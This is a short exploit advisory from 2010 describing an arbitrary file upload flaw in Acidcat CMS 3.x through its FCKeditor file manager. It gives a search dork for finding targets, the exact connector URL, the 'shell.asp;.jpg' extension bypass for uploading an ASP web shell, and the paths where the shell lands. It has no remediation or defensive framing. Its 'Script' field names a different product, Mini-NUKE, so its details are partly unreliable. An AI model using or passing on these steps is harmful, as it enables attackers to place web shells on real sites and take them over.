Acidcat CMS 3.3 - 'FCKeditor' Arbitrary File Upload

============================================================================== 
 
        [»] Acidcat CMS v 3.3 (fckeditor) Shell Upload Vulnerability
 
============================================================================== 
 
    [»] Title   :           [ Acidcat CMS v 3.x (fckeditor) Shell Upload Vulnerability ]
 
    [»] Script  :           [ Mini-NUKE v2.3  ] 
 
    [»] Language:           [ ASP ] 
 
    [»] Download:           [ http://www.acidcat.com/default.asp?itemID=202&itemTitle=Download Free]
 
    [»] Author  :           [ Net.Edit0r - black.hat.tm@gmail.com }
 
    [»] My Home :           [ ajaxtm.com and datacoders.org ] 
 
    [»] Date    :           [ 2010-11-23 ] 
  
    [»] Version :           [ 3.3.X and 3.2.x ]

    [»] Dork    :           [ "Powered by Acidcat CMS " ]

   
 
########################################################################### 
 
    
===[ Exploit ]=== 
 
 
  [»] http://server/admin/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/asp/connector.asp 
 
  [»] asp renamed via the .asp;.jpg (shell.asp;.jpg)

===[ Upload To ]===

  [»] http://server/read_write/file/[Shell] 

  [»] http://server/public/File/[Shell]


Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , Skitt3r , M4hd1

     BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic  ~ keracker
                                  
 
###########################################################################